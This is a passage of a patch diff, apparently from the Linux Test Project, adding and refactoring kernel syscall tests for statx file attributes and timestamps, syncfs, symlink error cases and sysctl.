+ * First directory has all flags set.
+ * Second directory has no flags set.
+ *
+ * Minimum kernel version required is 4.11.
+ */
+
+#define _GNU_SOURCE
+#include "tst_test.h"
+#include "lapi/fs.h"
+#include <stdlib.h>
+#include "lapi/stat.h"
+
+#define MOUNT_POINT "mntpoint"
+#define TESTDIR_FLAGGED MOUNT_POINT"/test_dir1"
+#define TESTDIR_UNFLAGGED MOUNT_POINT"/test_dir2"
+
+static int fd, clear_flags;
+
+static void test_flagged(void)
+{
+	struct statx buf;
+
+	TEST(statx(AT_FDCWD, TESTDIR_FLAGGED, 0, 0, &buf));
+	if (TST_RET == 0)
+		tst_res(TPASS,
+			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)", TESTDIR_FLAGGED);
+	else
+		tst_brk(TFAIL | TTERRNO,
+			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)", TESTDIR_FLAGGED);
+
+	if (buf.stx_attributes & STATX_ATTR_COMPRESSED)
+		tst_res(TPASS, "STATX_ATTR_COMPRESSED flag is set");
+	else
+		tst_res(TFAIL, "STATX_ATTR_COMPRESSED flag is not set");
+
+	if (buf.stx_attributes & STATX_ATTR_APPEND)
+		tst_res(TPASS, "STATX_ATTR_APPEND flag is set");
+	else
+		tst_res(TFAIL, "STATX_ATTR_APPEND flag is not set");
+
+	if (buf.stx_attributes & STATX_ATTR_IMMUTABLE)
+		tst_res(TPASS, "STATX_ATTR_IMMUTABLE flag is set");
+	else
+		tst_res(TFAIL, "STATX_ATTR_IMMUTABLE flag is not set");
+
+	if (buf.stx_attributes & STATX_ATTR_NODUMP)
+		tst_res(TPASS, "STATX_ATTR_NODUMP flag is set");
+	else
+		tst_res(TFAIL, "STATX_ATTR_NODUMP flag is not set");
+}
+
+static void test_unflagged(void)
+{
+	struct statx buf;
+
+	TEST(statx(AT_FDCWD, TESTDIR_UNFLAGGED, 0, 0, &buf));
+	if (TST_RET == 0)
+		tst_res(TPASS,
+			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)",
+			TESTDIR_UNFLAGGED);
+	else
+		tst_brk(TFAIL | TTERRNO,
+			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)",
+			TESTDIR_UNFLAGGED);
+
+	if ((buf.stx_attributes & STATX_ATTR_COMPRESSED) == 0)
+		tst_res(TPASS, "STATX_ATTR_COMPRESSED flag is not set");
+	else
+		tst_res(TFAIL, "STATX_ATTR_COMPRESSED flag is set");
+
+	if ((buf.stx_attributes & STATX_ATTR_APPEND) == 0)
+		tst_res(TPASS, "STATX_ATTR_APPEND flag is not set");
+	else
+		tst_res(TFAIL, "STATX_ATTR_APPEND flag is set");
+
+	if ((buf.stx_attributes & STATX_ATTR_IMMUTABLE) == 0)
+		tst_res(TPASS, "STATX_ATTR_IMMUTABLE flag is not set");
+	else
+		tst_res(TFAIL, "STATX_ATTR_IMMUTABLE flag is set");
+
+	if ((buf.stx_attributes & STATX_ATTR_NODUMP) == 0)
+		tst_res(TPASS, "STATX_ATTR_NODUMP flag is not set");
+	else
+		tst_res(TFAIL, "STATX_ATTR_NODUMP flag is set");
+}
+
+struct test_cases {
+	void (*tfunc)(void);
+} tcases[] = {
+	{&test_flagged},
+	{&test_unflagged},
+};
+
+static void run(unsigned int i)
+{
+	tcases[i].tfunc();
+}
+
+static void caid_flags_setup(void)
+{
+	int attr, ret;
+
+	fd = SAFE_OPEN(TESTDIR_FLAGGED, O_RDONLY | O_DIRECTORY);
+
+	ret = ioctl(fd, FS_IOC_GETFLAGS, &attr);
+	if (ret < 0) {
+		if (errno == ENOTTY)
+			tst_brk(TCONF | TERRNO, "FS_IOC_GETFLAGS not supported");
+
+		/* ntfs3g fuse fs returns wrong errno for unimplemented ioctls */
+		if (!strcmp(tst_device->fs_type, "ntfs")) {
+			tst_brk(TCONF | TERRNO,
+				"ntfs3g does not support FS_IOC_GETFLAGS");
+		}
+
+		tst_brk(TBROK | TERRNO, "ioctl(%i, FS_IOC_GETFLAGS, ...)", fd);
+	}
+
+	attr |= FS_COMPR_FL | FS_APPEND_FL | FS_IMMUTABLE_FL | FS_NODUMP_FL;
+
+	ret = ioctl(fd, FS_IOC_SETFLAGS, &attr);
+	if (ret < 0) {
+		if (errno == EOPNOTSUPP)
+			tst_brk(TCONF, "Flags not supported");
+		tst_brk(TBROK | TERRNO, "ioctl(%i, FS_IOC_SETFLAGS, %i)", fd, attr);
+	}
+
+	clear_flags = 1;
+}
+
+static void setup(void)
+{
+	SAFE_MKDIR(TESTDIR_FLAGGED, 0777);
+	SAFE_MKDIR(TESTDIR_UNFLAGGED, 0777);
+
+	if (!strcmp(tst_device->fs_type, "btrfs") && tst_kvercmp(4, 13, 0) < 0)
+		tst_brk(TCONF, "Btrfs statx() supported since 4.13");
+
+	caid_flags_setup();
+}
+
+static void cleanup(void)
+{
+	int attr;
+
+	if (clear_flags) {
+		SAFE_IOCTL(fd, FS_IOC_GETFLAGS, &attr);
+		attr &= ~(FS_COMPR_FL | FS_APPEND_FL | FS_IMMUTABLE_FL | FS_NODUMP_FL);
+		SAFE_IOCTL(fd, FS_IOC_SETFLAGS, &attr);
+	}
+
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.all_filesystems = 1,
+	.mount_device = 1,
+	.needs_tmpdir = 1,
+	.mntpoint = MOUNT_POINT,
+	.min_kver = "4.11",
+};
diff --git a/testcases/kernel/syscalls/statx/statx05.c b/testcases/kernel/syscalls/statx/statx05.c
new file mode 100644
index 0000000..dd77e25
--- /dev/null
+++ b/testcases/kernel/syscalls/statx/statx05.c
@@ -0,0 +1,126 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ * Email: code@zilogic.com
+ */
+
+/*
+ * Test statx
+ *
+ * 1) STATX_ATTR_ENCRYPTED - A key is required for the file to be encrypted by
+ *                          the filesystem.
+ *
+ * e4crypt is used to set the encrypt flag (currently supported only by ext4).
+ *
+ * Two directories are tested.
+ * First directory has all flags set.
+ * Second directory has no flags set.
+ *
+ * Minimum kernel version required is 4.11.
+ */
+
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include "tst_test.h"
+#include "lapi/fs.h"
+#include "lapi/stat.h"
+
+#define MNTPOINT "mnt_point"
+#define TESTDIR_FLAGGED MNTPOINT"/test_dir1"
+#define TESTDIR_UNFLAGGED MNTPOINT"/test_dir2"
+
+static int mount_flag;
+
+static void test_flagged(void)
+{
+	struct statx buf;
+
+	TEST(statx(AT_FDCWD, TESTDIR_FLAGGED, 0, 0, &buf));
+	if (TST_RET == 0)
+		tst_res(TPASS,
+			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)", TESTDIR_FLAGGED);
+	else
+		tst_brk(TFAIL | TTERRNO,
+			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)", TESTDIR_FLAGGED);
+
+	if (buf.stx_attributes & STATX_ATTR_ENCRYPTED)
+		tst_res(TPASS, "STATX_ATTR_ENCRYPTED flag is set");
+	else
+		tst_res(TFAIL, "STATX_ATTR_ENCRYPTED flag is not set");
+}
+
+static void test_unflagged(void)
+{
+	struct statx buf;
+
+	TEST(statx(AT_FDCWD, TESTDIR_UNFLAGGED, 0, 0, &buf));
+	if (TST_RET == 0)
+		tst_res(TPASS,
+			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)",
+			TESTDIR_UNFLAGGED);
+	else
+		tst_brk(TFAIL | TTERRNO,
+			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)",
+			TESTDIR_UNFLAGGED);
+
+	if ((buf.stx_attributes & STATX_ATTR_ENCRYPTED) == 0)
+		tst_res(TPASS, "STATX_ATTR_ENCRYPTED flag is not set");
+	else
+		tst_res(TFAIL, "STATX_ATTR_ENCRYPTED flag is set");
+}
+
+struct test_cases {
+	void (*tfunc)(void);
+} tcases[] = {
+	{&test_flagged},
+	{&test_unflagged},
+};
+
+static void run(unsigned int i)
+{
+	tcases[i].tfunc();
+}
+
+static void setup(void)
+{
+	char opt_bsize[32];
+	const char *const extra_opts[] = {"-O encrypt", opt_bsize, NULL};
+
+	snprintf(opt_bsize, sizeof(opt_bsize), "-b %i", getpagesize());
+
+	SAFE_MKFS(tst_device->dev, tst_device->fs_type, NULL, extra_opts);
+	SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, 0);
+	mount_flag = 1;
+
+	SAFE_MKDIR(TESTDIR_FLAGGED, 0777);
+	SAFE_MKDIR(TESTDIR_UNFLAGGED, 0777);
+
+	TEST(tst_system("echo qwery | e4crypt add_key "TESTDIR_FLAGGED));
+
+	if (WEXITSTATUS(TST_RET) == 127)
+		tst_brk(TCONF, "e4crypt not installed!");
+
+	if (WEXITSTATUS(TST_RET))
+		tst_brk(TCONF, "e4crypt failed (CONFIG_EXT4_ENCRYPTION not set?)");
+}
+
+static void cleanup(void)
+{
+	if (mount_flag)
+		tst_umount(MNTPOINT);
+}
+
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.min_kver = "4.11",
+	.needs_root = 1,
+	.needs_device = 1,
+	.mntpoint = MNTPOINT,
+	.dev_fs_type = "ext4",
+};
diff --git a/testcases/kernel/syscalls/statx/statx06.c b/testcases/kernel/syscalls/statx/statx06.c
new file mode 100644
index 0000000..5240224
--- /dev/null
+++ b/testcases/kernel/syscalls/statx/statx06.c
@@ -0,0 +1,179 @@
+// SPDX-License-Identifier: GPL-2.0 or later
+/*
+ *  Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ *  Email : code@zilogic.com
+ */
+
+/*
+ * DESCRIPTION :
+ *
+ * Test-Case 1 : Testing btime
+ * flow :       The time before and after the execution of the create
+ *              system call is noted.
+ *		It is checked whether the birth time returned by statx lies in
+ *              this range.
+ *
+ * Test-Case 2 : Testing mtime
+ * flow :       The time before and after the execution of the write
+ *              system call is noted.
+ *              It is checked whether the modification time returned
+ *              by statx lies in this range.
+ *
+ * Test-Case 3 : Testing atime
+ * flow :       The time before and after the execution of the read
+ *              system call is noted.
+ *              It is checked whether the access time returned by statx lies in
+ *              this range.
+ *
+ * Test-Case 4 : Testing ctime
+ * flow :	The time before and after the execution of the chmod
+ *              system call is noted.
+ *              It is checked whether the status change time returned by statx
+ *              lies in this range.
+ *
+ */
+
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <sys/mount.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_clocks.h"
+#include "tst_safe_macros.h"
+#include "tst_timer.h"
+#include "lapi/stat.h"
+#include "lapi/mount.h"
+#include "lapi/fcntl.h"
+#include "lapi/posix_clocks.h"
+
+#define MOUNT_POINT "mount_ext"
+#define TEST_FILE MOUNT_POINT"/test_file.txt"
+#define SIZE 2
+
+static int fd;
+
+static void timestamp_to_timespec(const struct statx_timestamp *timestamp,
+				  struct timespec *timespec)
+{
+	timespec->tv_sec = timestamp->tv_sec;
+	timespec->tv_nsec = timestamp->tv_nsec;
+}
+
+static void clock_wait_tick(void)
+{
+	struct timespec res;
+	unsigned int usecs;
+
+	SAFE_CLOCK_GETRES(CLOCK_REALTIME_COARSE, &res);
+	usecs = tst_timespec_to_us(res);
+
+	usleep(usecs);
+}
+
+static void create_file(void)
+{
+	if (fd > 0) {
+		SAFE_CLOSE(fd);
+		SAFE_UNLINK(TEST_FILE);
+	}
+	fd = SAFE_OPEN(TEST_FILE, O_CREAT | O_RDWR, 0666);
+}
+
+static void write_file(void)
+{
+	char data[SIZE] = "hi";
+
+	SAFE_WRITE(0, fd, data, sizeof(data));
+}
+
+static void read_file(void)
+{
+	char data[SIZE];
+
+	SAFE_READ(0, fd, data, sizeof(data));
+}
+
+static void change_mode(void)
+{
+	SAFE_CHMOD(TEST_FILE, 0777);
+}
+
+static struct test_case {
+	void (*operation)(void);
+	char *op_name;
+} tcases[] = {
+	{.operation = create_file,
+	 .op_name = "Birth time"},
+	{.operation = write_file,
+	 .op_name = "Modified time"},
+	{.operation = read_file,
+	 .op_name = "Access time"},
+	{.operation = change_mode,
+	 .op_name = "Change time"}
+};
+
+static void test_statx(unsigned int test_nr)
+{
+	struct statx buff;
+	struct timespec before_time;
+	struct timespec after_time;
+	struct timespec statx_time = {0, 0};
+
+	struct test_case *tc = &tcases[test_nr];
+
+	SAFE_CLOCK_GETTIME(CLOCK_REALTIME_COARSE, &before_time);
+	clock_wait_tick();
+	tc->operation();
+	clock_wait_tick();
+	SAFE_CLOCK_GETTIME(CLOCK_REALTIME_COARSE, &after_time);
+
+	TEST(statx(AT_FDCWD, TEST_FILE, 0, STATX_ALL, &buff));
+	if (TST_RET != 0) {
+		tst_brk(TFAIL | TTERRNO,
+			"statx(AT_FDCWD, %s, 0, STATX_ALL, &buff)",
+			TEST_FILE);
+	}
+
+	switch (test_nr) {
+	case 0:
+		timestamp_to_timespec(&buff.stx_btime, &statx_time);
+		break;
+	case 1:
+		timestamp_to_timespec(&buff.stx_mtime, &statx_time);
+		break;
+	case 2:
+		timestamp_to_timespec(&buff.stx_atime, &statx_time);
+		break;
+	case 3:
+		timestamp_to_timespec(&buff.stx_ctime, &statx_time);
+		break;
+	}
+	if (tst_timespec_lt(statx_time, before_time))
+		tst_res(TFAIL, "%s < before time", tc->op_name);
+	else if (tst_timespec_lt(after_time, statx_time))
+		tst_res(TFAIL, "%s > after_time", tc->op_name);
+	else
+		tst_res(TPASS, "%s Passed", tc->op_name);
+}
+
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.cleanup = cleanup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = test_statx,
+	.min_kver = "4.11",
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.mntpoint = MOUNT_POINT,
+	.mount_device = 1,
+	.dev_fs_type = "ext4",
+	.dev_fs_opts = (const char *const []){"-I", "256", NULL},
+	.mnt_flags = MS_STRICTATIME,
+};
diff --git a/testcases/kernel/syscalls/stime/.gitignore b/testcases/kernel/syscalls/stime/.gitignore
new file mode 100644
index 0000000..d2aa45e
--- /dev/null
+++ b/testcases/kernel/syscalls/stime/.gitignore
@@ -0,0 +1,2 @@
+/stime01
+/stime02
diff --git a/testcases/kernel/syscalls/string/.gitignore b/testcases/kernel/syscalls/string/.gitignore
new file mode 100644
index 0000000..79adeb2
--- /dev/null
+++ b/testcases/kernel/syscalls/string/.gitignore
@@ -0,0 +1 @@
+/string01
diff --git a/testcases/kernel/syscalls/swapoff/.gitignore b/testcases/kernel/syscalls/swapoff/.gitignore
new file mode 100644
index 0000000..debc771
--- /dev/null
+++ b/testcases/kernel/syscalls/swapoff/.gitignore
@@ -0,0 +1,2 @@
+/swapoff01
+/swapoff02
diff --git a/testcases/kernel/syscalls/swapon/.gitignore b/testcases/kernel/syscalls/swapon/.gitignore
new file mode 100644
index 0000000..729226b
--- /dev/null
+++ b/testcases/kernel/syscalls/swapon/.gitignore
@@ -0,0 +1,3 @@
+/swapon01
+/swapon02
+/swapon03
diff --git a/testcases/kernel/syscalls/switch/.gitignore b/testcases/kernel/syscalls/switch/.gitignore
new file mode 100644
index 0000000..0f6cfdb
--- /dev/null
+++ b/testcases/kernel/syscalls/switch/.gitignore
@@ -0,0 +1 @@
+/endian_switch01
diff --git a/testcases/kernel/syscalls/symlink/.gitignore b/testcases/kernel/syscalls/symlink/.gitignore
new file mode 100644
index 0000000..d1497e6
--- /dev/null
+++ b/testcases/kernel/syscalls/symlink/.gitignore
@@ -0,0 +1,5 @@
+/symlink01
+/symlink02
+/symlink03
+/symlink04
+/symlink05
diff --git a/testcases/kernel/syscalls/symlink/symlink03.c b/testcases/kernel/syscalls/symlink/symlink03.c
index 89f23c9..c89fe5d 100644
--- a/testcases/kernel/syscalls/symlink/symlink03.c
+++ b/testcases/kernel/syscalls/symlink/symlink03.c
@@ -103,8 +103,6 @@
 char *TCID = "symlink03";
 int TST_TOTAL = 1;
 
-char *bad_addr = 0;
-
 int no_setup();
 int setup1();			/* setup function to test symlink for EACCES */
 int setup2();			/* setup function to test symlink for EEXIST */
@@ -121,18 +119,11 @@
 	int exp_errno;
 	int (*setupfunc) ();
 } Test_cases[] = {
-	{
-	TEST_FILE1, SYM_FILE1, "No Search permissions to process",
+	{TEST_FILE1, SYM_FILE1, "No Search permissions to process",
 		    EACCES, setup1}, {
 	TEST_FILE2, SYM_FILE2, "Specified symlink already exists",
-		    EEXIST, setup2},
-#if !defined(UCLINUX)
-	{
-	TESTFILE, High_address_node, "Address beyond address space",
-		    EFAULT, no_setup},
-#endif
-	{
-	TESTFILE, (char *)-1, "Negative address", EFAULT, no_setup}, {
+		    EEXIST, setup2}, {
+	TESTFILE, NULL, "Invalid address", EFAULT, no_setup}, {
 	TESTFILE, Longpathname, "Symlink path too long", ENAMETOOLONG,
 		    longpath_setup}, {
 	TESTFILE, "", "Symlink Pathname is empty", ENOENT, no_setup}, {
@@ -171,11 +162,7 @@
 			test_file = Test_cases[ind].file;
 			sym_file = Test_cases[ind].link;
 			test_desc = Test_cases[ind].desc;
-#if !defined(UCLINUX)
-			if (sym_file == High_address_node) {
-				sym_file = (char *)get_high_address();
-			}
-#endif
+
 			/*
 			 * Call symlink(2) to test different test conditions.
 			 * verify that it fails with -1 return value and sets
@@ -241,17 +228,10 @@
 
 	tst_tmpdir();
 
-#if !defined(UCLINUX)
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmap failed");
-	}
-	Test_cases[3].link = bad_addr;
-#endif
-
 	/* call individual setup functions */
 	for (ind = 0; Test_cases[ind].desc != NULL; ind++) {
+		if (!Test_cases[ind].link)
+			Test_cases[ind].link = tst_get_bad_addr(cleanup);
 		Test_cases[ind].setupfunc();
 	}
 }
diff --git a/testcases/kernel/syscalls/symlinkat/.gitignore b/testcases/kernel/syscalls/symlinkat/.gitignore
new file mode 100644
index 0000000..3542217
--- /dev/null
+++ b/testcases/kernel/syscalls/symlinkat/.gitignore
@@ -0,0 +1 @@
+/symlinkat01
diff --git a/testcases/kernel/syscalls/sync/.gitignore b/testcases/kernel/syscalls/sync/.gitignore
new file mode 100644
index 0000000..d8d304d
--- /dev/null
+++ b/testcases/kernel/syscalls/sync/.gitignore
@@ -0,0 +1,2 @@
+/sync01
+/sync02
diff --git a/testcases/kernel/syscalls/sync_file_range/.gitignore b/testcases/kernel/syscalls/sync_file_range/.gitignore
new file mode 100644
index 0000000..3f6bd75
--- /dev/null
+++ b/testcases/kernel/syscalls/sync_file_range/.gitignore
@@ -0,0 +1 @@
+/sync_file_range01
diff --git a/testcases/kernel/syscalls/syncfs/.gitignore b/testcases/kernel/syscalls/syncfs/.gitignore
new file mode 100644
index 0000000..6066295
--- /dev/null
+++ b/testcases/kernel/syscalls/syncfs/.gitignore
@@ -0,0 +1 @@
+syncfs01
diff --git a/testcases/kernel/syscalls/syncfs/Makefile b/testcases/kernel/syscalls/syncfs/Makefile
new file mode 100644
index 0000000..3e6c2f4
--- /dev/null
+++ b/testcases/kernel/syscalls/syncfs/Makefile
@@ -0,0 +1,8 @@
+# Copyright (c) 2019 - Linaro Limited. All rights reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir             ?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/syncfs/check_syncfs.h b/testcases/kernel/syscalls/syncfs/check_syncfs.h
new file mode 100644
index 0000000..26991d2
--- /dev/null
+++ b/testcases/kernel/syscalls/syncfs/check_syncfs.h
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2019 Linaro Limited. All rights reserved.
+ * Author: Sumit Garg <sumit.garg@linaro.org>
+ */
+
+#ifndef CHECK_SYNCFS_H
+#define CHECK_SYNCFS_H
+
+void check_syncfs(void)
+{
+	int ret;
+
+	ret = syncfs(-1);
+	if (ret == -1 && errno == EINVAL)
+		tst_brk(TCONF, "syncfs() not supported");
+}
+
+#endif /* CHECK_SYNCFS_H */
diff --git a/testcases/kernel/syscalls/syncfs/syncfs01.c b/testcases/kernel/syscalls/syncfs/syncfs01.c
new file mode 100644
index 0000000..051a19e
--- /dev/null
+++ b/testcases/kernel/syscalls/syncfs/syncfs01.c
@@ -0,0 +1,67 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2019 Linaro Limited. All rights reserved.
+ * Author: Sumit Garg <sumit.garg@linaro.org>
+ */
+
+/*
+ * Test syncfs
+ *
+ * It basically tests syncfs() to sync filesystem having large dirty file
+ * pages to block device. Also, it tests all supported filesystems on a test
+ * block device.
+ */
+
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <stdio.h>
+#include <sys/types.h>
+#include "tst_test.h"
+#include "lapi/syncfs.h"
+#include "check_syncfs.h"
+
+#define MNTPOINT	"mnt_point"
+#define FNAME		MNTPOINT"/test"
+#define FILE_SIZE_MB	32
+#define FILE_SIZE	(FILE_SIZE_MB * TST_MB)
+#define MODE		0644
+
+static void verify_syncfs(void)
+{
+	int fd;
+	unsigned long written;
+
+	fd = SAFE_OPEN(FNAME, O_RDWR|O_CREAT, MODE);
+
+	tst_dev_bytes_written(tst_device->dev);
+
+	tst_fill_fd(fd, 0, TST_MB, FILE_SIZE_MB);
+
+	TEST(syncfs(fd));
+
+	if (TST_RET)
+		tst_brk(TFAIL | TTERRNO, "syncfs(fd) failed");
+
+	written = tst_dev_bytes_written(tst_device->dev);
+
+	SAFE_CLOSE(fd);
+
+	if (written >= FILE_SIZE)
+		tst_res(TPASS, "Test filesystem synced to device");
+	else
+		tst_res(TFAIL, "Synced %li, expected %i", written, FILE_SIZE);
+}
+
+static void setup(void)
+{
+	check_syncfs();
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.mntpoint = MNTPOINT,
+	.setup = setup,
+	.test_all = verify_syncfs,
+};
diff --git a/testcases/kernel/syscalls/syscall/.gitignore b/testcases/kernel/syscalls/syscall/.gitignore
new file mode 100644
index 0000000..74a081e
--- /dev/null
+++ b/testcases/kernel/syscalls/syscall/.gitignore
@@ -0,0 +1 @@
+/syscall01
diff --git a/testcases/kernel/syscalls/sysconf/.gitignore b/testcases/kernel/syscalls/sysconf/.gitignore
new file mode 100644
index 0000000..b96c724
--- /dev/null
+++ b/testcases/kernel/syscalls/sysconf/.gitignore
@@ -0,0 +1 @@
+/sysconf01
diff --git a/testcases/kernel/syscalls/sysctl/.gitignore b/testcases/kernel/syscalls/sysctl/.gitignore
new file mode 100644
index 0000000..1e195e7
--- /dev/null
+++ b/testcases/kernel/syscalls/sysctl/.gitignore
@@ -0,0 +1,3 @@
+/sysctl01
+/sysctl03
+/sysctl04
diff --git a/testcases/kernel/syscalls/sysctl/sysctl01.c b/testcases/kernel/syscalls/sysctl/sysctl01.c
index c423f47..70905d8 100644
--- a/testcases/kernel/syscalls/sysctl/sysctl01.c
+++ b/testcases/kernel/syscalls/sysctl/sysctl01.c
@@ -1,196 +1,86 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (c) 2018 Xiao Yang <yangx.jy@cn.fujitsu.com>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  */
 
 /*
- * NAME
- *	sysctl01.c
- *
- * DESCRIPTION
- *	Testcase for testing the basic functionality of sysctl(2) system call.
- *	This testcase attempts to read the kernel parameters using
- *	sysctl({CTL_KERN, KERN_* }, ...) and compares it with the known
- *	values.
- *
- * USAGE:  <for command-line>
- *  sysctl01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None
+ * DESCRIPTION:
+ * Testcase for testing the basic functionality of sysctl(2) system call.
+ * This testcase attempts to read the kernel parameters by using
+ * sysctl({CTL_KERN, KERN_* }, ...) and compares it with the known values.
  */
-#include "test.h"
-#include <stdio.h>
+
 #include <errno.h>
-#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
 #include <linux/version.h>
 #include <sys/utsname.h>
 #include <linux/unistd.h>
 #include <linux/sysctl.h>
 
-char *TCID = "sysctl01";
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
-/* This is an older/deprecated syscall that newer arches are omitting */
-#ifdef __NR_sysctl
+static struct utsname buf;
 
-int TST_TOTAL = 3;
-
-static int sysctl(int *name, int nlen, void *oldval, size_t * oldlenp,
-		  void *newval, size_t newlen)
-{
-	struct __sysctl_args args =
-	    { name, nlen, oldval, oldlenp, newval, newlen };
-	return syscall(__NR__sysctl, &args);
-}
-
-struct utsname buf;
-char osname[BUFSIZ];
-size_t osnamelth;
-
-void setup(void);
-void cleanup(void);
-
-struct test_case_t {
+static struct tcase {
 	char *desc;
 	int name[2];
-	int size;
-	char *oldval;
-	size_t *oldlen;
-	void *newval;
-	int newlen;
-	int (*cleanup) ();
-	int exp_retval;
-} TC[] = {
-	{
-		"Test for KERN_OSTYPE", {
-	CTL_KERN, KERN_OSTYPE}, 2, osname, &osnamelth, NULL, 0, NULL, 0}, {
-		"Test for KERN_OSRELEASE", {
-	CTL_KERN, KERN_OSRELEASE}, 2,
-		    osname, &osnamelth, NULL, 0, NULL, 0}, {
-		"Test for KERN_VERSION", {
-	CTL_KERN, KERN_VERSION}, 2, osname, &osnamelth, NULL, 0, NULL, 0}
+	char *cmp_str;
+} tcases[] = {
+	{"KERN_OSTYPE", {CTL_KERN, KERN_OSTYPE}, buf.sysname},
+	{"KERN_OSRELEASE", {CTL_KERN, KERN_OSRELEASE}, buf.release},
+	{"KERN_VERSION", {CTL_KERN, KERN_VERSION}, buf.version},
 };
 
-int main(int ac, char **av)
+static void verify_sysctl(unsigned int n)
 {
-	int lc;
-	int i;
-	char *comp_string;
+	char osname[BUFSIZ];
+	size_t length = BUFSIZ;
+	struct tcase *tc = &tcases[n];
 
-	comp_string = NULL;
+	memset(osname, 0, BUFSIZ);
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	struct __sysctl_args args = {
+		.name = tc->name,
+		.nlen = ARRAY_SIZE(tc->name),
+		.oldval = osname,
+		.oldlenp = &length,
+	};
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-
-			osnamelth = sizeof(osname);
-
-			switch (i) {
-			case 0:
-				comp_string = buf.sysname;
-				break;
-			case 1:
-				comp_string = buf.release;
-				break;
-			case 2:
-				comp_string = buf.version;
-				break;
-			}
-
-			TEST(sysctl(TC[i].name, TC[i].size, TC[i].oldval,
-				    TC[i].oldlen, TC[i].newval, TC[i].newlen));
-
-			if (TEST_RETURN != 0) {
-				if (TEST_ERRNO == ENOSYS) {
-					tst_resm(TCONF,
-						 "You may need to make CONFIG_SYSCTL_SYSCALL=y"
-						 " to your kernel config.");
-				} else {
-					tst_resm(TFAIL,
-						 "sysctl(2) failed unexpectedly "
-						 "errno:%d", TEST_ERRNO);
-				}
-				continue;
-			}
-
-			if (strcmp(TC[i].oldval, comp_string) != 0) {
-				tst_resm(TFAIL, "strings don't match - %s : %s",
-					 TC[i].oldval, comp_string);
-			} else {
-				tst_resm(TPASS, "%s is correct", TC[i].desc);
-			}
-			if (TC[i].cleanup) {
-				(void)TC[i].cleanup();
-			}
-		}
+	TEST(tst_syscall(__NR__sysctl, &args));
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO, "sysctl() failed unexpectedly");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (strcmp(osname, tc->cmp_str)) {
+		tst_res(TFAIL, "Strings don't match %s : %s",
+			osname, tc->cmp_str);
+	} else {
+		tst_res(TPASS, "Test for %s is correct", tc->desc);
+	}
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
 	/* get kernel name and information */
